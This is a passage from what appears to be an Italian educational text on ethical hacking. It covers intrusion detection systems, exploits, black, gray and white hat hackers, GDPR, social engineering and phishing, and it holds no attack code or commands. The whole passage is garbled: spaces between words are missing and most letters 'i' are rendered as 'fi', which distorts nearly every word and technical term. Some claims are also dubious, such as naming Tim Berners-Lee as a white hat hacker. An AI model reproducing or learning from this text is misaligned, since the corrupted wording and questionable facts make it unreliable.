generaunallarme.

3.Allerta:unavoltachel’IDShafidentfificatounapossfibfilefintrusfione,generaunavvfisoo
unanotfificachepuòesserevfisualfizzatadaglfiammfinfistratorfidfisfistemaodalpersonale
IT.

4.Rfisposta:glfiammfinfistratorfidfisfistemaofilpersonaleresponsabfilepossonorfispondere
alleallertefintraprendendoazfionficomel’fisolamentodeldfisposfitfivocolpfito,filblocco
dell’findfirfizzoIPdell’attaccanteoaltrecontromfisureadeguate.

IsfistemfiIDSpossonoesseredfivfisfifinduecategorfie,asecondadfidovesonoposfizfionatfifi
sensorfiperfilrfilevamentodellefintrusfionfi(sullareteosuunhost/endpofint):

•NIDS(NetworkIntrusfionDetectfionSystem):pofichéglfiaccessfinonautorfizzatfidevono
passarenecessarfiamenteattraversofilprotocolloTCP/IPovverol’UDP(UserDatagram
Protocol),fisfistemfiIDSbasatfisureteanalfizzanofipacchettfiIP,vfigfilandol’finterotraffico
datfidellarete.Inquestomodopossonofintegrarefilfirewall,ovequestononblocchfifi
pacchettfipererrorfidficonfigurazfioneoregolepocorestrfittfive.Sono,finoltre,fingradodfi
monfitorareanchefilcomportamentodeglfiutentfifinternfiallarete.

•HIDS(HostbasedIntrusfionDetectfionSystem):sonotfipficamentedeglfistrumentfichesono
finstallatfisudfiunamacchfina(host)ehannoloscopodfiproteggerefilPCfinteressato(un
sortadfi“super-antfivfirus”).Possonofintegrareanchefunzfionfidfifirewall,sandboxfing,e
vfiadficendo.Sfiparla,qufindfi,dfiIntrusfionDetectfionSystemdfistrfibufitfi.Oggfisfitendead
fimplementareIDSchecombfinfinofiduesfistemfi,attraversouncontrollosfiasuretesfiasu
host,garantendofinquestomodounmaggfioretassodfirfilevamentodeglfiattacchfi.Sfi
definfiscono,finquestocaso,comesfistemfifibrfidfioHybrfidIntrusfionDetectfionSystem.

ComeoperanoglfiIDS?
IdfiversfisfistemfiIDS,comunquesfianofimplementatfi,funzfionanonellostessomodocome

mostratofinFfigura1.4,rfilevandolefintrusfionfinefipuntfifincufifisensorfisonoposfizfionatfied
avvfisandoglfianalfistfidellasficurezzadellascopertadfiun’eventualemfinaccfia.Letecnfiche
dfirfilevamentod’fintrusfionesfibasanosufidatfiraccoltfidafisensorfi(sonde)chevengono
pofiprocessatfidalserver(motore).È,pertanto,fondamentaleprogettareaccuratamentefil
posfizfionamentodefisensorfi;questfipossonoesserepostfinefipuntficrfitficfidelsfistema,ovvero
finquellfidovesfirfitfienepfiùprobabfileun’fintrusfione,finpartficolare:

•nefirouteregateway;

•nefipuntfipfiùespostfidellarete(serverweb,servfizfiespostfiall’esterno);

•ovesfitrovanodatfisensfibfilfidellarete:tfipficamente,serverfinternfiedatabaseazfiendalfi
(cherappresentanounobfiettfivofingenereambfitodall’attaccante).
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Ffigura1.4:FunzfionamentodeglfiIntrusfionDetectfionSystem

Questafaseprogettualedevetenerpresenteunconcettobasfilarenellacybersecurfity:fil
cosfiddetto“attackermfindset”,cfioè“pensacomepensal’attaccante”,o–cfitandoSunTzu
(l’autoredelsaggfio“L’artedellaguerra”)–“conoscfifiltuonemfico”.

Letecnfichedfirfilevazfionefinreal-tfimepossonoessere,pofi,suddfivfisefinduecategorfie:

1.MfisuseDetectfion:confrontaunaserfiedfisegnficaratterfistficfi(sfignatureactfion)delle
varfietfipologfiedfiscenarfidfifintrusfioneconoscfiute(adesempfio,cambfidfiproprfietàdfi
unfile,determfinatestrfinghedficaratterfifinvfiateadunserver,etc.).Essfipresentano
filvantaggfiodfigenerareunnumerorelatfivamentebassodfi“falsfiposfitfivfi”esono
relatfivamenteaffidabfilfievelocfi.Percontrononsonofingradodfirfilevarequalsfiasfi
tfipologfiadfifintrusfioneseessanonèpresentenefipatterndfifintrusfioneconoscfiutfied
fimpostatfinelsfistema.

2.AnomalyDetectfion:servepersopperfireafilfimfitfidella MfisuseDetectfiondfinonrfiuscfire
arfilevareun’fintrusfionenelcasochequestausfiunattaccononancoraconoscfiuto.
Inpratficasfianalfizzafilsfistemaallarficercadfianomalfierfispettoafiprofilfidfiutfilfizzo
“normale”delsfistemarficavatfidamfisurestatfistficheedeurfistfichesullecaratterfistfiche
dellostesso(adesempfio,carficodfiutfilfizzoanomalodellaCPUdfiunamacchfina,traffico
datfifinput/outputdfiunpartficolarenodo,etc.).Sonopfiùlessfibfilfiedfingradodfi
“fimparare”conalgorfitmfidfiIntellfigenzaArtfificfiale,mapossonodareunnumeropfiù
elevatodfifalsfiposfitfivfi.Inoltre,filmonfitoraggfiodelsfistemaèmoltopesantedatoche
ènecessarfioteneresottocontrollo moltfifattorficontemporaneamenteperrfiuscfirea
classfificarecorrettamenteunattacco.

1.2.4 Explofit

Sfiarrfivaatrattarefilquartoconcettosalfientedell’hackfingetfico:l’explofit.Unexplofitè
unprogrammafinformatfico,unsoftwareounasequenzadficomandfichesfruttaunerroreo
unavulnerabfilfitàperprovocareuncertocomportamentonelsoftware,nell’hardwareofin
qualsfiasfidfisposfitfivoelettronfico.

Talficomportamentficomprendono,fingenere,l’assunzfionedelcontrollodfiunsfistema,la
concessfionedfiprfivfilegfidfiammfinfistratoreaunfintrusool’avvfiodfiattacchfidfinegazfionedel
servfizfio(DoSoDDoS).

Glfiexplofitzero-daysonofallenellasficurezzadefisoftwarenonconoscfiuteprfimadell’attacco.
Dalmomentodelprfimoattaccofinoalmomentofincufilavulnerabfilfitàvfienerfisolta,c’èun
perfiododfitempocheglfihackerpossonosfruttareperottenerefilmassfimofimpattopossfibfile
suprogrammfi,datfi,altrficomputerol’finterarete.Glfiexplofitchesfruttanotaletfipodfi
vulnerabfilfitàsono,pertanto,chfiamatfiexplofitzero-day.

Sel’attaccoavvfienesuvastascalaesonotrascorsfipochfigfiornfidalgfiornozero,èprobabfile
chenonsfiastataancorasvfiluppataalcunasoluzfioneoproceduracorrettfiva;pertanto,fidannfi
sarannopfiùestesfi.
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Anchedopochelacorrezfioneèstatasvfiluppata,finfizfialmentenontuttfiglfiutentfil’avranno
applficata.Ilcasodfi WannaCryèstatoemblematfico:fil malwareutfilfizzavaunexplofitper
WfindowssvfiluppatodallaUSSecurfityAgencyeprecedentementeespostoda WfikfiLeaks.

Ilproblemaèstatofinfizfialmentecorrettoda Mficrosoftconunapatch,matuttfificomputer
chenoneranostatfiaggfiornatfinefigfiornfisuccessfivfieranoancoravulnerabfilfi. Quandofi
computerchenoneranostatfiutfilfizzatfidurantefilfinesettfimanasonostatfiavvfiatfifillunedì
seguente,sfièscatenatalasecondaondatadfipropagazfione.

Quandounexplofitèresopubblfico,glfisvfiluppatorfidfisoftwarefintervengono;lavulne-
rabfilfitàèrfisolta,spessoconunapatch,el’explofitèresofinutfilfizzabfile.Perquesto motfivo
alcunfihackermalfintenzfionatfi,cosìcomeglfihackerchelavoranoperfiservfizfimfilfitarfiodfi
fintellfigence,nonrfilascfianodettaglfidfiquestfiexplofit,finmododapotercontfinuareadusarlfi.

Unexplofitèunperficolosostrumentonelle manfideficrfimfinalfifinformatficfiperché,fim-
plementatofindfifferentfimodfi,puòconsentfirelorodfisfruttarelevulnerabfilfitàhardwaree
softwaredefisfistemfipervfiolarlfieprendernefilcontrollo.

Èbeneprecfisarechevulnerabfilfitàedexplofitnonsonolastessacosa:pervulnerabfilfitàsfi
fintendequalsfiasfipuntodebolefinun’applficazfionesoftwareodfisposfitfivohardware,dficontro
finvece,unexplofitpotrebbeutfilfizzaretalevulnerabfilfitàpercausareundetermfinatoeffettonel
sfistemacolpfito,comeadesempfioladfistrfibuzfionedfimalware,l’accessoofilcontrolloremoto
nonautorfizzatfi.

Dfisegufito,sfirfiportanolefasfidfiunexplofit,generalmentesegufiteperlosfruttamentodelle
vulnerabfilfità:

1.Raccoltadfifinformazfionfisulsfistematarget:questaoperazfionepuòessereesegufitafindfiversfi
modfi,adesempfiomedfiantetecnfichedfisnfiffinge/osocfialengfineerfing,perottenere
finformazfionfisulsfistemaoperatfivoeunelencodefiservfizfifinesecuzfionesudfiesso.

2.Rficercadellevulnerabfilfità:unavoltaconoscfiutelefinformazfionfinecessarfiedeltarget,
l’attaccantecercavulnerabfilfitànoteespecfifiche.

3.Esecuzfione:findfivfiduataunavulnerabfilfità,l’autoredell’attaccocercaunexplofitda
utfilfizzaresegfiàesfistente,oppure,fincasocontrarfio,neallestfisceunoadhoc.

Latotalfitàdeglfiexplofitpossfiedeunarfigorosaclassfificazfione.Sullabasedeltfipodfiattacco
sferrato,essfipossonoessereclassfificatfifin:

•explofitesegufitfilocalmente,ovverochesfiattfivanodfirettamenteall’aperturadfiunfile,dfi
un’fimmagfine,untestoapparentementefinnocufi,mache,tuttavfia,contengonocodfice
chesfruttalavulnerabfilfità.

•explofitesegufitfifinremoto,cheutfilfizzanounaretedficomunficazfionepercontattarefil
sfistemavfittfima.Intalcasol’attaccopotrebbeprevederel’utfilfizzodfiunaltrocomputer
finternoallastessaretelocaleoppuredfiunaccessodaInternet.

•explofitesegufitfidfiSQLInjectfion,cheutfilfizzanoapplficazfionfichefunzfionanosullabasedfi
databaseSQL.

•explofitesegufitfidfinegazfionedelservfizfio(DoS)chenonservonoaesegufirecodficedannoso,
ma,pfiuttosto,asovraccarficareun’applficazfioneounservfizfioalpuntodafimpedfirne
l’esecuzfione.

•explofitesegufitfiperl’esecuzfionedficomandfichepermettonoall’attaccantedficontrollarefil
codficedfiunprogrammamalevolo,ottenendo,così,dfirfittfiammfinfistratfivfisulsfistema
colpfito.
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1.2.5 Black,Graye WhfiteHatHacker

BlackHatHacker
Glfihackerblackhatsonocrfimfinalfichefirrompononelleretfifinformatficheconfintenzfionfi
malevolfi.Possonoanchedfistrfibufiremalwareperdfistruggerefile,tenerefinostaggfiocomputer
osottrarrepassword,numerfidficartedficredfitoealtrefinformazfionfipersonalfi.

Questefigurehanno motfivazfionfiopportunfistfiche,comefilguadagno,lavendettao,
semplficemente,filgustodficrearedelcaos.Inalcunficasfilamotfivazfionepuòesserefideologfica
eglfiattacchfihannocomebersaglfiopersoneogruppfidfipersoneconcufisonofortementefin
dfisaccordo.

Iblackhatpfiùfimportantfisonotendenzfialmentehackerespertfichelavoranoperorganfiz-
zazfionficrfimfinalfisofistficate,cheavolteoffronostrumentfidficollaborazfioneafilorofimpfiegatfi
eoffronocontrattfidfiservfizfioaficlfientfi,proprfiocomeazfiendelegfittfime.Ikfitdfimalwareblack
hatvendutfinelDark Webfincludonoavoltepersfinogaranzfieeservfizfioclfientfi.

Moltfiottengono"fincarfichfi"tramfitefiforumealtrficontattfinelDark Web mentrealtrfi
svfiluppanoevendonosoftwaredannosfifinautonomfia.Leattfivfitàdfipfiraterfiapossono
operarecomegrandfiazfiendeeconquestascaladfiventafacfiledfistrfibufiresoftwaredannoso.

Alcuneorganfizzazfionfiblackhatusanopersfinocallcenterpereffettuarechfiamatefingendo
chequestfiprovenganodasocfietàtecnologfichefamose,come Mficrosoft.Conquestotfipo
dfitruffal’hackertentadficonvfincerelepotenzfialfivfittfimeaconsentfirel’accessoremoto
afilorocomputeroascarficaresoftware.Quandoconcedel’accessooscarficafilsoftware
consfiglfiato,l’fignaravfittfimapermettefinconsapevolmenteaficrfimfinalfidfiraccoglfierepassword
efinformazfionfibancarfieoppuredfiassumerefurtfivamentefilcontrollodelcomputereusarlo
persferrarealtrfiattacchfi.Secfiònonbastasse,lavfittfimarficevedfisolfitofattureesorbfitantfiper
questo"servfizfiodfisupporto".

Altrfiattacchfisonorepentfinfieautomatfizzatfi,senzacontattoumano.Inquestficasfi,fibot
usatfiperl’attaccocercanocomputernonprotettfifinInternetperfinfiltrarsfi,spessotramfite
phfishfing,allegatficonmalwareocollegamentfiasfitfi Webcompromessfi.

Glfiattacchfidfihackerblackhatsonounproblemaglobalee,perquesto,estremamente
dfifficfiledaargfinare.Leforzedfipolfizfiadevonoaffrontarevarfiedfifficoltà,adesempfiofilfatto
chespessoglfihackerlascfianopochfissfimeprove,usanoficomputerdfivfittfimefignareeoperano
fingfiurfisdfizfionfidfiverse.Ancheseleautorfitàrfiesconoavolteachfiudereunsfitodfihackfing
finunpaese,lestesseoperazfionfipossonoesseretrasferfitealtroveconsentendoalgruppodfi
mantenersfifinattfivfità.

UnodeglfihackerblackhatpfiùfamosfièKevfin Mfitnfick,che,auncertopunto,èstatofil
cybercrfimfinalepfiùrficercatoalmondo;durantelasuaattfivfitàdfihackerblackhathaportato
atermfinefincursfionfifinoltre40grandfiazfiende,tralequalfiIBMe Motorola,epersfinonel
sfistemadfiallarmedelladfifesanazfionalestatunfitense.Allafinefuarrestatoefincarcerato.
Dopofilsuorfilascfioèdfiventatounconsulentedficybersecurfitycheusalesueconoscenzeper
scopfidfihackfingwhfitehat.

UnaltroesempfiofamosoèTsutomuShfimomura,unespertodficybersecurfityacufisfirfico-
noscefilmerfitodfiaverefincastratoKevfin Mfitnfick.Formatosficomerficercatorenelsettoredella
fisficacomputazfionale,Shfimomurahacollaboratoancheconl’Agenzfiaperlasficurezzanazfio-
nalestatunfitense.Èstatounodefiprfincfipalfirficercatorfiasensfibfilfizzarel’opfinfionepubblfica
sullamancanzadfisficurezzaeprfivacydeficellularfi.IlsuolfibroTakedownèstatofinsegufito
oggettodfiadattamentoperfilfilmfintfitolatoTrackDown.

GrayHatHacker
Glfihackergrayhatvfiolanotalvoltalaleggeofinormalfistandardetficfi,masenzalefintenzfionfi
malevolfitfipfichedfiunhackerblackhat.
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Quandofindfivfiduaunavulnerabfilfità,unhackerwhfitehatcercheràdfisfruttarlasoloprevfia
autorfizzazfioneesenzadfivulgarlaprfimadellarfisoluzfione.Ilblackhat,finvece,lasfrutteràfin
modofillegaleocomunficheràadaltrficomefarlo.Ilgrayhatnonlasfrutteràfillegalmente,né
finsegneràadaltrficomefarlo.

MoltfigrayhatsostengonocheInternetnonsfiasficuraperleazfiendeerfitengonochela
proprfiamfissfionesfiaquelladfirenderlapfiùsficuraperlepersoneeleorganfizzazfionfi.Lofanno
vfiolandofisfitfi Webeleretfiegenerandofilcaosperdfimostrarealmondodfiavereragfione.I
grayhataffermanospessodfinonvolerdanneggfiarenessunoconlelorofincursfionfi.Avolte
sonosemplficementecurfiosfidfivfiolareunsfistemadfialtoprofilo,senzacurarsfidelleleggfi
sullaprfivacyedellemoltealtrenormatfive.

Inmoltficasfifigrayhatfornfisconofinformazfionfiprezfiosealleazfiende.Tuttavfialacomunfità
defiwhfitehategranpartedel mondofinformatficononconsfideranoetficfifiloro metodfifin
quantoglfihackergrayhatoperanonell’fillegalfità,perchénonsonoautorfizzatfiafinfiltrarsfinefi
sfistemfidfiun’organfizzazfione.

WhfiteHatHacker
Glfihackerwhfitehat,notfianchecome"hackeretficfi"o"hackerbuonfi"sonol’antfitesfidefiblack
hat:attaccanosfistemfifinformatficfioretfiperfindfivfiduarelefalledfisficurezzaepoter,qufindfi,
proporreraccomandazfionfiperfilmfiglfioramento.

Questefiguresfruttanolelorocapacfitàperscoprfirefallenellasficurezzaecollaborano
allaprotezfionedelleorganfizzazfionfidaglfihackerperficolosfi. Avoltesonodfipendentfio
collaboratorfiassoldatfidalleazfiende,comespecfialfistfifinformatficficonl’obfiettfivodfitrovare
eventualfifallenellasficurezza.

Unsottogruppodeglfihackeretficfiècostfitufitodafipenetratfiontestero"pentester",dedficatfi
finmodospecfificoall’findfivfiduazfionedellevulnerabfilfitàeallavalutazfionedefirfischfiall’finterno
defisfistemfi,dficufiabbfiamoprecedentementeparlato.

Glfihackerwhfitehatusanoglfistessfimetodfidefiblackhat,maladfifferenzafondamentale
èchelofannoconfilpermessodelproprfietarfio,rendendofilprocessodeltuttolegale.Invecedfi
sfruttarelevulnerabfilfitàperdfistrfibufirecodficedannoso,glfihackerwhfitehatcollaboranocon
glfioperatorfidfireteperrfisolverefilproblemaprfimachevengascopertodaaltrfi.

Eccoalcunfideglfiesempfipfiùfamosfidfihackerwhfitehat:

•Charlfie Mfiller:famosoperaverfindfivfiduatovulnerabfilfitànefisfistemfiAppleevfincfitore
dellafamosacompetfizfionetrahackerPwn2Ownnel2008,Charlfie Mfillerhalavorato
anchecomehackeretficoperl’Agenzfiaperlasficurezzanazfionalestatunfitense.

•TfimBerners-Lee:famosoperaverfinventatofil World Wfide Web,TfimBerners-Leefa
anchepartedfiungruppodfiwhfitehathackfing.Èattualmentedfirettoredel World Wfide
WebConsortfium(W3C),chesupervfisfionalosvfiluppodel Web.

Ladfifferenzaprfincfipaletrahackerblackhatewhfitehatèlamotfivazfione.Dfiversamente
daglfihackerblackhat,chesfifintrufolanonefisfistemfifillegalmenteconfintentfimalevolfiespesso
pertornacontopersonale,glfihackerwhfitehatcollaboranoconleazfiendeperfindfivfiduare
fipuntfidebolfidefisfistemfiesvfiluppareaggfiornamentficorrfispondentfi.Loscopoèquellodfi
assficurarsficheglfihackerblackhatnonrfiescanoadaccederefillegalmenteafidatfidelsfistema.

NellaFfigura1.5vfiene mostratounconfrontotraHackerBlackHat,GrayHate Whfite
Hat.
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Ffigura1.5:Black,Graye WhfiteHatHackeraconfronto

1.3 L’ethficalhackfingnelSocfiale

Nell’eradfigfitale,lefinterconnessfionfitecnologfichepermeanoprofondamentelanostravfita
quotfidfiana,finluenzandolacomunficazfione,l’finformazfioneeledfinamfichesocfialfi.Tuttavfia,
questacrescentedfipendenzadallatecnologfiahaancheportatoconsésfidelegateallasficu-
rezzaeallaprfivacydefidatfipersonalfi.Inquestocontesto,l’ethficalhackfingemergecomeun
potentealleatonellasalvaguardfiadellasficurezzadfigfitale,nonsolofintermfinfitecnficfi, ma
ancheperquantorfiguardafilbenesseresocfialeelaprotezfionedefidfirfittfifindfivfidualfi.

1.3.1 PrfivacyeProtezfionedefidatfipersonalfi

IlGDPR(GeneralDataProtectfionRegulatfion)èunfinsfiemedfinormesullaprotezfionedefi
datfidell’UErappresentaun’evoluzfionedelsetdfiregoleesfistentfi,basatosufisolfidfiprfincfipfidfi
protezfionedefidatfi,stabfilfitfinelladfirettfivasullaprotezfionedefidatfi.

Questeregoleesfistonodal1995, maeratempod’assficurarsfichefosseroadatteall’era
dfigfitale.Sebbenesfiastatoredattoeapprovatodall’UnfioneEuropea(UE),filGDPR,che
regolamental’obblfigoalrfispettodellaprfivacyeallasficurezzadefidatfipersonalfi,fimpone
obblfighfialleorganfizzazfionfiovunquenelmondo,seesoloseraccolgonoedelaboranofidatfi
relatfivfiallepersonenell’UE.

IlGDPRèentratofinvfigorenel2016dopol’approvazfionedelParlamentoeuropeoe,a
partfiredal25maggfio2018,tutteleorganfizzazfionfidevonoessereconformfiadessa.Afifinfi
deglfiobblfighfinormatfivfi,l’fimpfiantodelGDPRprevede,perchfivfiolaglfistandarddfiprfivacy
esficurezza,pesantfisanzfionficheraggfiungonoledecfinedfimfilfionfidfieuroechedfipendono
dafifatturatfidelleorganfizzazfionfifinadempfientfi.

Esfistonofinfattfi,duelfivellfidfisanzfionfi,cheraggfiungonounmassfimodfi20mfilfionfidfieuro
ofil4%delleentrateglobalfi(asecondadfiqualesfialacfiframaggfiore).Inoltre,glfifinteressatfi
hannofildfirfittodfichfiederefilrfisarcfimentodefidannfi.

Larfivoluzfionenell’fimpostazfionedelRegolamentorfisfiedenelcambfiodfiparadfigma:
pfiuttostochefindficareunaserfiedfiregolefimmutabfilfidarfispettare,lanormatfivafissaprfincfipfi
dfifimpostazfioneallasficurezzafinformatfica,basatfisullavalutazfionedelrfischfio,rfimandandofi
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controllfidficonformfitàdell’autorfitàcompetenteaunapproccfioex-post,avalledell’avvenuto
fincfidentedfisficurezzaodataBreachosecondocontrollfiacampfione.

Qufindfinonvfisonopfiùregolerfigfidefimpostepreventfivamente, ma mfisureadeguate
ovveroadattabfilfi,personalfizzateefimplementatesullabasedfiunavalutazfionedfirfischfio,
delleesfigenzedfibudget.

ConfilGDPR,l’Europahamarcatolasuafermaposfizfionesullaprfivacyelasficurezzadefi
datfifinunmomentofincufisemprepfiùpersoneaffidanofiproprfidatfipersonalfiaservfizficloud
elevfiolazfionfisonoall’ordfinedelgfiorno.Questoperchéfidatfirappresentanofilnuovotesoro
dfigfitale,sonosoggettfiafurtfierfivendfitaneldarkwebecostrufisconounamonetadfivalore
perficrfimfinalfi.

LarelazfionefraGDPRecybersecurfityrfisfiedenella modalfitàdfituteladellaprfivacy
medfiantel’fimplementazfionedfimfisuredfiDataProtectfionequfindfidfiattuazfionedfimfisuredfi
sficurezzasufidatfieattornoafidatfi,nelsfistemafinformatfivochelfielabora,perproteggerlfida
attacchfichepossonoalternarnelarfiservatezza,l’fintegrfitàeladfisponfibfilfità.

Ecco,qufindfi,cheleesfigenzedfiprfivacyesficurezzadevonobfilancfiarsficontfinuamente
comefaccedellastessamedaglfiacheèrappresentatadal“dato”.

1.3.2 IngegnerfiasocfialeePhfishfing

L’fingegnerfiasocfialeèquelconcettosecondocufisfifinduceconl’fingannolepersone
acondfivfiderefinformazfionfichenondovrebberocondfivfidere,scarficaresoftwarechenon
dovrebberoscarficare,vfisfitaresfitfi Webchenondovrebberovfisfitare,finvfiandodenaroacrfi-
mfinalfiocommettendoaltrfierrorfichecompromettonoglfiassetolasficurezzapersonalfio
dell’organfizzazfione.

Un’emafilchesembraprovenfiredaunvendfitoreattendfibfile,cherfichfiedel’aggfiornamento
dellefinformazfionfirelatfiveallacartadficredfito,unmessaggfiosullasegreterfiatelefonficache
affermadfiprovenfiredall’AgenzfiadelleEntrate,un’offertadfirficchezzedaunpotentato
stranfiero;questfisonosoloalcunfiesempfidfifingegnerfiasocfiale.

Pofichél’fingegnerfiasocfialesfruttaledebolezzeumanepfiuttostochelevulnerabfilfità
tecnficheodelsfistemadfigfitale,avoltevfienedefinfita‘hackfingumano’.

Inmoltficasfi,ficrfimfinalfifinformatficfiutfilfizzanotattfichedfifingegnerfiasocfialeperottenere
datfipersonalfi(tracuficredenzfialfidfiaccesso,numerfidficartedficredfito,numerfidficontfi
bancarfi,codficfifiscalfi)dficufiavvalersfiperperpetrareunfurtodfifidentfitàtramfitecufipoter
fareacqufistficonfildenaroofilcredfitodfialtrepersone,rfichfiedereprestfitfianomedfiqualcun
altro,faredomandaperl’findennfitàdfidfisoccupazfioneperaltrepersone,ecosìvfia. Maun
attaccodfifingegnerfiasocfialepuòancheesserefilprfimostadfiodfiunattaccofinformatficodfi
pfiùvastaportata.Adesempfio,uncrfimfinalefinformatficopotrebbeconvfincereconl’finganno
unavfittfimaacondfivfiderenomeutenteepassworde,qufindfi,servfirsfidfitalficredenzfialfiper
fimpfiantareunattaccosullaretedeldatoredfilavorodellavfittfima.

L’fingegnerfiasocfialeèallettanteperficrfimfinalfifinformatficfi,perchéconsentelorodfiac-
cederearetfi,dfisposfitfivfieaccountdfigfitalfievfitandofildfifficfilelavorotecnficodfihackerare
firewall,softwareantfivfirusealtrficontrollfidfisficurezzafinformatfica.Questoèunodefimotfivfi
percufil’fingegnerfiasocfialeoggfièlacausaprfincfipaledficompromfissfionedellarete,secondo
filreportStateofSecurfity2021dfiISACA.Èancheunodefipfiùcostosfi:secondofilreportCost
FOaDataBreach2021dfiIBM,levfiolazfionfidefidatficausatedaattacchfidfifingegnerfiasocfiale
costanoalleazfiendefinmedfia4,47mfilfionfidfidollarfi.
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Tattfichedell’IngegnerfiaSocfiale
Letattficheeletecnfichedfifingegnerfiasocfialesonofondatesullascfienzadellamotfivazfione

umana. Manfipolanoleemozfionfieglfifimpulsfidellevfittfimefinmodficollaudatfiperspfingerele
personeacompfiereazfionficontrarfieafiloromfiglfiorfifinteressfi.

Lamaggfiorpartedeglfiattacchfidfifingegnerfiasocfialefimpfiegaunaopfiùdelleseguentfi
tattfiche:

•Ffingeredfiessereunmarchfioattendfibfile:fitruffatorfispessofimpersonanoazfiendechelevfittfi-
meconoscono,dficufisfifidanoeconcufiforseattuanospessooregolarmenteoperazfionfi
commercfialfi.Inquestomodolevfittfimeseguonolefistruzfionfifornfitedaquestfimarchfi
dfirfilesso,senzaprendereledovuteprecauzfionfioprestarealcunaattenzfione.Alcunfi
truffatorfidfifingegnerfiasocfialeutfilfizzanokfitadampfiadfiffusfioneperlapreparazfionedfi
sfitfiwebfittfizfi,cheassomfiglfianoaquellfidfifimportantfimarchfioazfiende;

•Ffingeredfiessereun’agenzfiagovernatfivaoun’autorfità:glfiattacchfidfifingegnerfiasocfiale
approfittanodfiquestfifimpulsficonmessaggfichesembranoodfichfiaranodfiprovenfireda
agenzfiegovernatfive(adesempfio,unorganofinvestfigatfivonazfionaleol’Agenzfiadelle
Entrate),figurepolfitficheo,addfirfittura,celebrfità.

•Incuterepauraounsensodfiurgenza:lepersonetendonoadagfirefin modoavventato
quandosonospaventateofinpredaallafretta.Perfindurrepauraounsensodfiurgenza
nellevfittfime,fitruffatorfi,adesempfio,dficonoallavfittfimacheunarecentetransazfione
dficredfitononèstataapprovata,cheunvfirushafinfettatofilsuocomputer,oppureche
un’fimmagfineutfilfizzatasulsfito Webvfiolafidfirfittfidficopyrfight.

•Farelevasull’avfidfità:latruffadelprfincfipenfigerfiano,un’emafilfincufiqualcuno,cheaffer-
madfiessereunrealenfigerfianochecercadfifuggfiredallasuanazfione,offreunenorme
premfiofindenarofincambfiodellefinformazfionfisulcontobancarfiodeldestfinatarfioodfi
unpficcolopagamentofinantficfipo,èunodeglfiesempfipfiùnotfidfifingegnerfiasocfialeche
falevasull’avfidfità.

•Fareappelloalbuoncuoreoallacurfiosfità:fipfianfidell’fingegnerfiasocfialepossonoanche
fareappellosuglfiaspettfimfiglfiorfidellanaturadellevfittfime.Adesempfio,unmessaggfio
chesembraprovenfiredaunamficoodaunsfitodfisocfialnetworkpuòoffrfireafiuto
tecnfico,chfiederelapartecfipazfioneaunsondaggfio,sostenerechefilpostdefidestfinatarfi
èdfiventatovfiraleefornfireunlfinkcontraffattoaunsfito Weboperfildownloaddfi
malware.

Phfishfing
Cosasonoglfiattacchfiphfishfing?Sonomessaggfidfigfitalfiovocalfichetentanodfifindurrecon

l’fingannofidestfinatarfiacondfivfiderefinformazfionfisensfibfilfi,scarficaresoftwarefintenzfional-
mentedannoso,trasferfiredenaroallapersonasbaglfiataofintraprenderealtreazfionfidannose.
Itruffatorficreanoabfilmentemessaggfidfiphfishfingfinmodocheabbfianocaratterfistfichegrafi-
cheesonorechelfifaccfianosembrareprovenfientfidaun’organfizzazfioneodaunfindfivfiduo
affidabfileocredfibfile,avolteanchedaunfindfivfiduochefildestfinatarfioconoscepersonalmente.
UntfipficodfiagrammadfiattaccophfishfingèvfisfibfilefinFfigura1.6.

Tralemolteplficfitruffedfiphfishfingrficordfiamo:

•Emafildfiphfishfing:vengonofinvfiateemafilamfilfionfidfidestfinatarficontemporaneamente.
Questeultfimesembranofinvfiatedaunagrandeenotaazfiendaoorganfizzazfione(da
unabancanazfionaleomondfiale,oppuredaungranderfivendfitorealdettaglfioonlfine)
epresentanounarfichfiestagenerfica,adesempfio:’stfiamorfiscontrandounproblema
nell’elaborazfionedeltuoacqufisto,tfipreghfiamodfiaggfiornarelefinformazfionfirelatfive
allatuacartadficredfito’.
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•Spearphfishfing:sfirfivolgeaunospecfificofindfivfiduo,normalmenteunfindfivfiduocon
accessoprfivfilegfiatoafinformazfionfisuglfiutentfi,allaretedficomputeroafifondfiazfiendalfi.
Untruffatorerficercheràlavfittfimadesfignata,spessoutfilfizzandofisocfial medfia,per
creareunmessaggfiochesembrfiprovenfiredaqualcunochelavfittfimadesfignataconosce
edficufisfifidaochefaccfiarfiferfimentoasfituazfionficoncufilavfittfimadesfignataha
famfilfiarfità.

InquestocasosfiparladfiWhalfing,untfipodfispearphfishfingcheprendedfi mfiraun
findfivfiduodfialtoprofilo,adesempfiounCEOounpolfitfico.

•Voficephfishfingovfishfing:èunattaccophfishfingcondottotramfitechfiamatetelefonfiche.Dfi
solfitolevfittfimerficevonochfiamateregfistratemfinaccfiosenellequalfisfidfichfiaracheesse
provenganodaunorganofinvestfigatfivonazfionale.

•SMSphfishfingosmfishfing:untfipodfiattaccodfiphfishfingtramfitemessaggfiodfitesto.

•Phfishfingtramfitemotoredfirficerca:èunattaccochecofinvolgeglfihackerchecreanosfitfi
WebdannosficonaltfilfivellfidficlassfificanefirfisultatfidfirficercadfiGooglepertermfinfidfi
rficercapopolarfi.

•Anglerphfishfing:èunattaccophfishfingtramfiteaccountdfisocfialmedfiafittfizfi,mascheratfi
daaccountufficfialfidefiteamdelservfizfioaficlfientfiodelsupportoclfientfidfiazfiende
affidabfilfi.

SecondofilreportCostofaDataBreach2021dfiIBM,filphfishfingèfilmetodopfiùcomune
perdfiffonderemalwareelasecondacausapfiùcomunedfivfiolazfionfidefidatfi.

Ffigura1.6:DfiagrammadfiAttaccoPhfishfing

1.3.3 SficurezzadelleapplficazfionfiSocfial

Lasficurezzadelleapplficazfionfisocfialèdfiventataunaprfiorfitàcrucfialenelpanorama
dfigfitaleodfiernofinquanto,conladfiffusfionedfipfiattaformedfisocfialmedfia,applficazfionfidfi
messaggfistficafistantaneaealtrfistrumentfidficomunficazfioneonlfine,èemersalanecessfitàdfi
garantfirechequesteapplficazfionfisfianoprotettedamfinaccefinformatfiche,vfiolazfionfidella
prfivacyeabusfi.

L’ethficalhackfingrfivesteunruolofondamentalenellaSficurezzadelleApplficazfionfiSocfial;
finpartficolare,essosfioccupadelleseguentfiattfivfità:
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•ValutazfionedellaSficurezza:glfiethficalhackerconduconopenetratfiontestfingeanalfisfi
dellevulnerabfilfitàperfidentfificarepossfibfilfifallenefisfistemfidelleapplficazfionfi.Questo
afiutaarafforzareledfifeseeaprevenfirepotenzfialfiattacchfi.

•VerfificadellaPrfivacy:glfiethficalhackeresamfinanolepolfitfichedfiprfivacyelepratfichedfi
gestfionedefidatfidelleapplficazfionfisocfialfipergarantfirechelefinformazfionfideglfiutentfi
